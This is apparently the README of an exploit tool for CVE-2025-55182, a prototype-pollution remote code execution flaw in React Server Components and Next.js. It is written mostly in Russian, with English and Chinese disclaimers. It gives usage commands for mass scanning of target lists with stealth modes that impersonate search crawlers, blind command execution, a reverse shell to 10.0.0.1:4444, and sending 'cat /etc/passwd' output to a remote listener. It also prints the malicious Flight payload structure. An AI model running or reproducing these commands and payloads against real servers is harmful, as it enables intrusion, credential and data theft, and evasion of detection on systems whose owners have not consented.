
CVE-2025-55182 инструмент эксплуатации удаленного выполнения кода для React Server Components
CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) в React Server Components (RSC), затрагивающая приложения Next.js, использующие App Router с Server Actions.
Уязвимость существует в процессе десериализации протокола Flight, что позволяет злоумышленникам добиться произвольного выполнения кода через загрязнение прототипа (prototype pollution).
ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования на проникновение. Несанкционированный доступ к компьютерным системам незаконен. Любое незаконное или неавторизованное использование этого инструмента является исключительной ответственностью пользователя. Автор не несет никакой ответственности.
Пожалуйста, прочтите полный DISCLAIMER.md перед использованием этого инструмента.
Используя этот инструмент, вы соглашаетесь с тем, что:
| Компонент | Затронутые версии |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Клонировать репозиторий
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Установить зависимости
pip install requests
pip install requests[socks] # Для поддержки SOCKS5 прокси
python3 exploit.py http://target:3000 --check
# Базовое пакетное сканирование
python3 exploit.py -f targets.txt --check
# С режимом скрытности и задержкой
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Сохранить уязвимые цели в файл
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Сначала запустить слушатель
nc -lvnp 4444
# Выполнить обратную оболочку
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Запустить слушатель
nc -lvnp 4444
# Выполнить и извлечь вывод
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| Режим | Описание |
|---|---|
browser | Имитирует запросы реального браузера (по умолчанию) |
crawler | Имитирует запросы поисковых роботов (Googlebot, Baiduspider и т.д.) |
security | Использует User-Agentы сканеров безопасности |
| Параметр | Описание |
|---|---|
target | URL цели (например, http://localhost:3000) |
-f, --file | Файл со списком URL целей (по одному на строку) |
-o, --output | Выходной файл для уязвимых целей |
-c, --command | Команда для выполнения (слепая) |
--check | Проверить на наличие уязвимости |
--proxy | SOCKS5 прокси (например, socks5://127.0.0.1:1080) |
--stealth | Режим скрытности: browser, crawler, security |
--delay | Задержка между запросами в секундах |
--variants | Использовать несколько вариантов полезной нагрузки для тщательной проверки |
--revshell IP PORT | Обратная оболочка на IP:PORT |
--exfil CMD IP PORT | Выполнить CMD и отправить вывод на IP:PORT |
-t, --timeout | Тайм-аут запроса в секундах (по умолчанию: 15) |
Эксплойт использует загрязнение прототипа (prototype pollution) в десериализации протокола Flight:
Object.prototype.then через "$1:__proto__:then"_formData.get в конструктор Function через "$1:constructor:constructor"_prefix, который передается в Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<вредоносный_код>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Основной скрипт эксплойта
├── targets.txt # Список URL целей (по одному на строку)
└── README.md # Этот файл
# Комментарии начинаются с #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack и Next.jsЭтот проект лицензирован под лицензией MIT - см. файл LICENSE.
By downloading, copying, installing, or using this software, you agree to be bound by the terms of this disclaimer.
This tool is designed exclusively for:
You SHALL NOT use this tool for:
THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHOR(S) DISCLAIM ALL WARRANTIES, INCLUDING BUT NOT LIMITED TO:
IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY:
The user assumes full responsibility for:
By using this tool, you acknowledge that:
下载、复制、安装或使用本软件即表示您同意受本免责声明条款的约束。
本工具仅用于:
您不得将本工具用于:
本软件按"原样"提供,不提供任何明示或暗示的担保。作者否认所有担保,包括但不限于:
在任何情况下,作者均不对以下情况承担责任:
用户对以下事项承担全部责任:
使用本工具即表示您确认:
在进行任何安全测试之前,您必须:
Before conducting any security testing, you must:
⚠️ 未经授权的计算机访问是违法行为 ⚠️
⚠️ Unauthorized computer access is a criminal offense ⚠️